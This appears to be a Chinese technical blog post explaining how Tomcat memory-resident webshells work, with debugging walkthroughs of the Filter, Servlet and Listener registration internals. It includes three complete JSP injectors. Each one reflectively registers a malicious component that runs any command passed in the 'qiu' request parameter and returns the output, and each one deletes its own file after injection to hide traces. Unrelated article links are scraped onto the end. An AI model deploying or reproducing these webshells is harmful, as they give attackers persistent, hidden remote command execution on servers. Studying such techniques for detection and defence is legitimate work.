内存马mama

article/2025/7/31 6:53:31

一、Tomcat三种内存马

首先了解下tomcat的三种内存马的原理和简单实用

filter型内存马

Tomcat filter注册流程

FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息

FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息

FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern

FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter

WebXml:存放 web.xml 中内容的类

ContextConfig:Web应用的上下文配置类

StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper

StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet

给项目导入tomcat lib依赖后,我们开始断点调试看看,不导入依赖看不到源码,但实际项目运行时是正常的,只是我们在idea里看不到。

调试跟入可以在堆栈中看到filterChain,我们接着查看哪里创建了它


在org.apache.catalina.core.ApplicationFilterFactory#createFilterChain中,我们跟进这个方法

image.png

可以看到这里首先获取了context网页上下文,然后找到所有的filtermap放在数组中


前面我们知道FilterMap 中主要存放了 FilterName 和 对应的URLPattern


后面继续跟入这个循环中,这个循环就是遍历filterMaps,去匹配当前请求的url与filterMap中的urlpatter,如果相就进入if调用findFilterConfig方法找到对应FilterName的filterConfig。如果filterConfig不为空就进入addFilter,我们继续跟入

可以发现这个循环遍历filter,就是进行一个去重的操作。下面这个 if 判断其实就是扩容,如果 n 已经等于当前 filters 的长度了就再添加10个容量


最终遍历完出来就完成了filterChain的一个组装
回到StandardWrapperValve中调用

image.png


跟进发现它又会调用internalDoFilter方法
这里会获取到所有的filterConfig然后依次进入到我们定义的doFilter方法中执行

image.png

image.png

我们跟据这个图理解filterConfig、filterMaps、filterDefs
 

image.png


其中filterConfigs也存放了context,两个context是一样的

根据上面的分析我们了解到,如果要实现filter类型内存马

大致流程如下:

  1. 创建一个恶意 Filter
  2. 利用 FilterDef 对 Filter 进行一个封装
  3. 将 FilterDef 添加到 FilterDefs 和 FilterConfig
  4. 创建 FilterMap ,将我们的 Filter 和 urlpattern 相对应,存放到 filterMaps中(由于 Filter 生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的 Filter 最先触发)
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.File" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><%final String name = "Qiu";// 获取StandardContextServletContext servletContext = request.getSession().getServletContext();Field appctx = servletContext.getClass().getDeclaredField("context");appctx.setAccessible(true);ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);Field stdctx = applicationContext.getClass().getDeclaredField("context");stdctx.setAccessible(true);StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);//获取filterConfigsField Configs = standardContext.getClass().getDeclaredField("filterConfigs" );Configs.setAccessible(true);Map filterConfigs = (Map) Configs.get(standardContext);//判断没有被注册if (filterConfigs.get(name) == null) {// 创建恶意的filterFilter filter = new Filter() {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {HttpServletRequest request1 = (HttpServletRequest) servletRequest;if (request1.getParameter("qiu") != null) {byte[] bytes = new byte[1024];Process process = Runtime.getRuntime().exec(request1.getParameter("qiu"));int len = process.getInputStream().read(bytes);servletResponse.getWriter().write(new String(bytes,0,len));process.destroy();return;}}@Overridepublic void destroy() {}};//获取filterDef,设置filter、类名、类FilterDef filterDef = new FilterDef();filterDef.setFilter(filter);filterDef.setFilterName(name);filterDef.setFilterClass(filter.getClass().getName());//将filterDef添加进入filterDefsstandardContext.addFilterDef(filterDef);//获取filterMap,设置UrlPattern、类名FilterMap filterMap = new FilterMap();filterMap.addURLPattern("/*");filterMap.setFilterName(name);//因为 javax.servlet.DispatcherType 类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3filterMap.setDispatcher(DispatcherType.REQUEST.name());//调用 StandardContext 的 addFilterMapBefore 直接加在 filterMaps 的第一位standardContext.addFilterMapBefore(filterMap);//利用反射创建filterConfigs,并添加filterDef和StandardContextConstructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);constructor.setAccessible(true);ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);//将filterConfig放入filterConfigs中filterConfigs.put(name, filterConfig);out.println("Hack success!");//文件自毁(new File(application.getRealPath(request.getServletPath()))).delete();}
%>

image.png

image.png

Servlet型内存马

这里我们直接看实现类 ApplicationContextaddServlet 方法。

private ServletRegistration.Dynamic addServlet(String servletName, String servletClass, Servlet servlet, Map initParams) throws IllegalStateException {//servlet不为空if (servletName != null &amp;&amp; !servletName.equals("")) {this.checkState("applicationContext.addServlet.ise");//根据name在context中的children中找到wrapperWrapper wrapper = (Wrapper)this.context.findChild(servletName);//如果wrapper不存在则创建if (wrapper == null) {wrapper = this.context.createWrapper();wrapper.setName(servletName);//添加到context的children中this.context.addChild(wrapper);} else if (wrapper.getName() != null &amp;&amp; wrapper.getServletClass() != null) {if (!wrapper.isOverridable()) {return null;}wrapper.setOverridable(false);}//都是为了设置servletClassServletSecurity annotation = null;if (servlet == null) {wrapper.setServletClass(servletClass);Class&lt;?&gt; clazz = Introspection.loadClass(this.context, servletClass);if (clazz != null) {annotation = (ServletSecurity)clazz.getAnnotation(ServletSecurity.class);}} else {wrapper.setServletClass(servlet.getClass().getName());wrapper.setServlet(servlet);if (this.context.wasCreatedDynamicServlet(servlet)) {annotation = (ServletSecurity)servlet.getClass().getAnnotation(ServletSecurity.class);}}if (initParams != null) {Iterator var9 = initParams.entrySet().iterator();while(var9.hasNext()) {Map.Entry initParam = (Map.Entry)var9.next();wrapper.addInitParameter((String)initParam.getKey(), (String)initParam.getValue());}}//用ApplicationServletRegistration创建对象并返回ServletRegistration.Dynamic registration = new ApplicationServletRegistration(wrapper, this.context);if (annotation != null) {registration.setServletSecurity(new ServletSecurityElement(annotation));}return registration;} else {throw new IllegalArgumentException(sm.getString("applicationContext.invalidServletName", new Object[]{servletName}));}}

接着我们看org.apache.catalina.core.ApplicationServletRegistration#addMapping方法

    public Set addMapping(String... urlPatterns) {if (urlPatterns == null) {//为空返回一个不可变的Set对象return Collections.emptySet();} else {Set conflicts = new HashSet();String[] var3 = urlPatterns;int var4 = urlPatterns.length;int var5;String urlPattern;//遍历urlPatterns数组,就是一个去重操走for(var5 = 0; var5 &lt; var4; ++var5) {urlPattern = var3[var5];String wrapperName = this.context.findServletMapping(urlPattern);if (wrapperName != null) {Wrapper wrapper = (Wrapper)this.context.findChild(wrapperName);if (wrapper.isOverridable()) {this.context.removeServletMapping(urlPattern);} else {conflicts.add(urlPattern);}}}if (!conflicts.isEmpty()) {return conflicts;} else {var3 = urlPatterns;var4 = urlPatterns.length;//向context中添加urlPattern和对应的wrapperfor(var5 = 0; var5 &lt; var4; ++var5) {urlPattern = var3[var5];this.context.addServletMappingDecoded(UDecoder.URLDecode(urlPattern, StandardCharsets.UTF_8), this.wrapper.getName());}if (this.constraint != null) {this.context.addServletSecurity(this, this.constraint);}return Collections.emptySet();}}}

注意到向context中添加URL和对应的wrapper中调用了一个addServletMappingDecoded方法

通过这个方法向servletMappings添加处理后的,urlPattern和name

image.png


所以创建servlet内存马的步骤和之前类似,可以分为

  • 创建恶意Servlet
  • 用Wrapper对其进行封装
  • 添加封装后的恶意Wrapper到StandardContext的children当中
  • 添加ServletMapping将访问的URL和Servlet进行绑定
  • 同时在 servletMappings 中添加 URL 路径与 name 的映射。
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ page import = "org.apache.catalina.core.*"%>
<%@ page import = "javax.servlet.*"%>
<%@ page import = "javax.servlet.http.*"%>
<%@ page import = "java.io.*"%>
<%@ page import = "java.lang.reflect.Field"%><%// 创建恶意Servletclass QiuServlet extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {HttpServletRequest request1 = (HttpServletRequest) req;HttpServletResponse response1 = (HttpServletResponse) resp;if (request1.getParameter("qiu") != null) {byte[] bytes = new byte[1024];Process process = Runtime.getRuntime().exec(request1.getParameter("qiu"));int len = process.getInputStream().read(bytes);resp.getWriter().write(new String(bytes,0,len));process.destroy();return;}else {response1.sendError(HttpServletResponse.SC_NOT_FOUND);}}@Overridepublic void destroy() {}}final String name = "Qiu";// 获取StandardContextServletContext servletContext = request.getSession().getServletContext();Field appctx = servletContext.getClass().getDeclaredField("context");appctx.setAccessible(true);ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);Field stdctx = applicationContext.getClass().getDeclaredField("context");stdctx.setAccessible(true);StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);//用Wrapper对其进行封装QiuServlet qiuServlet = new QiuServlet();org.apache.catalina.Wrapper qiuWrapper = standardContext.createWrapper();qiuWrapper.setName(name);qiuWrapper.setLoadOnStartup(1);qiuWrapper.setServlet(qiuServlet);qiuWrapper.setServletClass(qiuServlet.getClass().getName());//添加封装后的恶意Wrapper到StandardContext的children当中standardContext.addChild(qiuWrapper);// 同时在 servletMappings 中添加 URL 路径与 name 的映射standardContext.addServletMappingDecoded("/Qiu", name);out.println("Hack success!");//销毁(new File(application.getRealPath(request.getServletPath()))).delete();%>

image.png

Listener型内存马

  • ServletContextListener:用于监听整个 Servlet 上下文(创建、销毁)
  • ServletContextAttributeListener:对 Servlet 上下文属性进行监听(增删改属性)
  • ServletRequestListener:对 Request 请求进行监听(创建、销毁)
  • ServletRequestAttributeListener:对 Request 属性进行监听(增删改属性)
  • javax.servlet.http.HttpSessionListener:对 Session 整体状态的监听
  • javax.servlet.http.HttpSessionAttributeListener:对 Session 属性的监听

在 ServletRequestListener 接口中,提供了两个方法在 request 请求创建和销毁时进行处理,比较适合我们用来做内存马,而且我们可以拿到每次请求的的事件:ServletRequestEvent,通过其中的getServletRequest()函数就可以拿到本次请求的request对象,从而加入我们的恶意逻辑 。

我们在requestInitialized处打个断点

image.png


查看栈帧定位到StandardHostValve的invoke方法

image.png


我们跟入,重点看红框部分,这里会调用listener的requestInitialized方法,然后我们需要进入这里就要获得instances,而instances通过getApplicationEventListeners方法返回,还有就是event参数通过new ServletRequestEvent(this.getServletContext(), request);获得

image.png


listener存放在applicationEventListenersList属性中

image.png


我们同样在StandardContext中找到相关的add方法

image.png

image.png


所以listener型的内存马注入很简单,就两步

  • 创建恶意listener
  • 将恶意listener添加到applicationEventListener中
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.io.File" %><%//创建恶意listenerclass QiuListener implements ServletRequestListener {@Overridepublic void requestDestroyed(ServletRequestEvent sre) {HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();if (req.getParameter("qiu") != null) {InputStream in = null;boolean isLinux = true;String osTyp = System.getProperty("os.name");if (osTyp != null && osTyp.toLowerCase().contains("win")) {isLinux = false;}try {String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("qiu")} : new String[]{"cmd.exe", "/c", req.getParameter("qiu")};in = Runtime.getRuntime().exec(cmds).getInputStream();Scanner scanner = new Scanner(in).useDelimiter("\\A" );String out = scanner.hasNext() ? scanner.next() : "";Field requestFiled = req.getClass().getDeclaredField("request" );requestFiled.setAccessible(true);Request request = (Request) requestFiled.get(req);request.getResponse().getWriter().write(out);}catch (Exception e) {}}}@Overridepublic void requestInitialized(ServletRequestEvent sre) {}}// 获取StandardContextServletContext servletContext = request.getSession().getServletContext();Field appctx = servletContext.getClass().getDeclaredField("context");appctx.setAccessible(true);ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);Field stdctx = applicationContext.getClass().getDeclaredField("context");stdctx.setAccessible(true);StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);//将恶意listener添加到applicationEventListener中QiuListener qiuListener = new QiuListener();standardContext.addApplicationEventListener(qiuListener);out.println("Hack success!");
//  //销毁(new File(application.getRealPath(request.getServletPath()))).delete();%>

image.png

image.png


Listener的添加步骤要比前两种简单得多,优先级也是三者中最高的。


http://www.hkcw.cn/article/kvZTqxuNTo.shtml

相关文章

PySide6 GUI 学习笔记——常用类及控件使用方法(地址类QUrl)

文章目录 地址类QUrl主要功能URL 格式介绍常见 scheme&#xff08;协议&#xff09;类型QUrl 类常用方法常用方法示例典型应用场景 地址类QUrl QUrl 是 PySide6.QtCore 模块中的一个类&#xff0c;用于处理和操作 URL&#xff08;统一资源定位符&#xff09;。它可以解析、构建…

DAY40 训练和测试

昨天我们介绍了图像数据的格式以及模型定义的过程&#xff0c;发现和之前结构化数据的略有不同&#xff0c;主要差异体现在2处 模型定义的时候需要展平图像由于数据过大&#xff0c;需要将数据集进行分批次处理&#xff0c;这往往涉及到了dataset和dataloader来规范代码的组织…

彻底理解Spring三级缓存机制

文章目录 前言一、Spring解决循环依赖时&#xff0c;为什么要使用三级缓存&#xff1f; 前言 Spring解决循环依赖的手段&#xff0c;是通过三级缓存&#xff1a; singletonObjects&#xff1a;存放所有生命周期完整的单例对象。&#xff08;一级缓存&#xff09;earlySingleto…

Diffusion Planner:扩散模型重塑自动驾驶路径规划(ICLR‘25)

1. 概述 2025年2月14日&#xff0c;清华大学AIR智能产业研究院联合毫末智行、中科院自动化所和香港中文大学团队&#xff0c;在ICLR 2025会议上发布了Diffusion Planner——一种创新性的基于Diffusion Transformer的自动驾驶规划模型架构。该系统联合建模周车运动预测与自车行…

财管5-投资项目的评价指标现金流量构成

一、投资项目评价指标 独立项目评价指标包括净现值&#xff08;NPV&#xff09;、现值指数&#xff08;PI&#xff09;、内含报酬率&#xff08;IRR&#xff09;、回收期&#xff08;PP&#xff09;、会计报酬率&#xff1b; 1、净现值 计算NPV 未来现金流量的现值 - 原始投…

【Bluedroid】蓝牙启动之 l2c_init 源码解析

蓝牙 L2CAP&#xff08;逻辑链路控制和适配协议&#xff09;层是蓝牙协议栈的核心传输层&#xff0c;负责为上层协议&#xff08;如 ATT、SMP、GATT&#xff09;提供逻辑通道、服务路由和流量控制等关键功能。本文围绕 L2CAP 层的五大核心数据结构&#xff08;全局控制块tL2C_C…

NACOS 配置中心--数据隔离

1.实现效果 名称空间 -- 区分 多套环境 group 分组 -- 区分多种微服务 data id 数据集 -- 区分多种配置 2.新建命名空间 3.创建 group 和 data id 同逻辑 创建 test 和prod 环境配置 5.yml文件配置进行映射 server:port: 8000 spring:config:import: # 映射data id 和gro…

rtpmixsound:实现音频混音攻击!全参数详细教程!Kali Linux教程!

简介 一种将预先录制的音频与指定目标音频流中的音频&#xff08;即 RTP&#xff09;实时混合的工具。 一款用于将预先录制的音频与指定目标音频流中的音频&#xff08;即 RTP&#xff09;实时混合的工具。该工具创建于 2006 年 8 月至 9 月之间。该工具名为 rtpmixsound。它…

【java面试】redis篇

一、适用场景 问&#xff1a;你在项目中&#xff0c;都用到了redis,你在最近的哪些场景中使用了redis&#xff1f; 答&#xff1a;&#xff08;结合实际项目情况&#xff09; &#xff08;一&#xff09;缓存 查询流程&#xff1a; 请求路径&#xff1a; 一个get请求&#x…

行业分析---小米汽车2025第一季度财报

1 背景 最近几年是新能源汽车的淘汰赛&#xff0c;前短时间比亚迪再次开始了降价&#xff0c;导致一片上市车企的股价大跌&#xff0c;足见车圈现在的敏感度。因此笔者会一直跟踪新势力车企的财报状况&#xff0c;对之前财报分析感兴趣的读者朋友可以参考以下博客&#xff1a;…

TensorFlow深度学习实战(19)——受限玻尔兹曼机

TensorFlow深度学习实战&#xff08;19&#xff09;——受限玻尔兹曼机 0. 前言1. 受限玻尔兹曼机1.1 受限玻尔兹曼机架构1.2 受限玻尔兹曼机的数学原理 2. 使用受限玻尔兹曼机重建图像3. 深度信念网络小结系列链接 0. 前言 受限玻尔兹曼机 (Restricted Boltzmann Machine, RB…

设计模式——桥接设计模式(结构型)

摘要 桥接设计模式是一种结构型设计模式&#xff0c;用于将抽象与实现解耦&#xff0c;使二者可以独立变化。它通过将一个类拆分为“抽象”和“实现”两部分&#xff0c;并通过桥接关系组合&#xff0c;避免了类继承层次结构过于庞大。桥接模式包含抽象类、扩充抽象类、实现类…

java反射

简介 获取Class 误区 解释一下 “类” 和 “Class对象” 的区别&#xff0c;以及为什么每个类都有关联的 Class 对象&#xff1a; &#x1f9e9; 核心概念&#xff1a;类 vs Class对象 想象你有一本《汽车使用说明书》&#xff1a; 类 这本说明书本身&#xff08;纸上的文…

C++ 之 多态 【虚函数表、多态的原理、动态绑定与静态绑定】

目录 前言 1.多态的原理 1.1虚函数表 1.2派生类中的虚表 1.3虚函数、虚表存放位置 1.4多态的原理 1.5多态条件的思考 2.动态绑定与静态绑定 3.单继承和虚继承中的虚函数表 3.1单继承中的虚函数表 3.2多继承(非菱形继承)中的虚函数表 4.问答题 前言 需要声明的&#x…

28 C 语言作用域详解:作用域特性(全局、局部、块级)、应用场景、注意事项

1 作用域简介 作用域定义了代码中标识符&#xff08;如变量、常量、数组、函数等&#xff09;的可见性与可访问范围&#xff0c;即标识符在程序的哪些位置能够被引用或访问。在 C 语言中&#xff0c;作用域主要分为三类&#xff1a; 全局作用域局部作用域块级作用域 需注意&am…

day03-Vue-Element

1 Ajax 1.1 Ajax介绍 1.1.1 Ajax概述 我们前端页面中的数据&#xff0c;如下图所示的表格中的学生信息&#xff0c;应该来自于后台&#xff0c;那么我们的后台和前端是互不影响的2个程序&#xff0c;那么我们前端应该如何从后台获取数据呢&#xff1f;因为是2个程序&#xf…

智慧交通设计方案

该文档是智慧交通设计方案,交通设计位于综合交通规划后、道路工程设计前,目标是优化交通系统及设施,实现交通安全、高效、可持续发展。内容涵盖区域交通组织优化(含需求管理、速度管理等)、平面交叉口设计(要素、改善措施)、专项交通设计(公共交通、慢行系统等)、智能…

SAP学习笔记 - 开发17 - 前端Fiori开发 Component 配置(组件化)

上一章讲了Fiori前端开发中的国际化。 SAP学习笔记 - 开发16 - 前端Fiori开发 Properties文件&#xff08;国际化&#xff09; &#xff0c;语言切换实例&#xff0c;Fiori 国际化&#xff08;常用语言列表&#xff0c;关键规则&#xff0c;注意事项&#xff09;-CSDN博客 本…

leetcode刷题日记——二叉树的层平均值

[ 题目描述 ]&#xff1a; [ 思路 ]&#xff1a; BFS&#xff0c;通过层次遍历求得每层的和&#xff0c;然后取平均数&#xff0c;存入结果数组树中节点个数在1-10000之间&#xff0c;那么结果数组最大为10000个结果&#xff0c;层数最多为 2n-1>10000&#xff0c;可以推…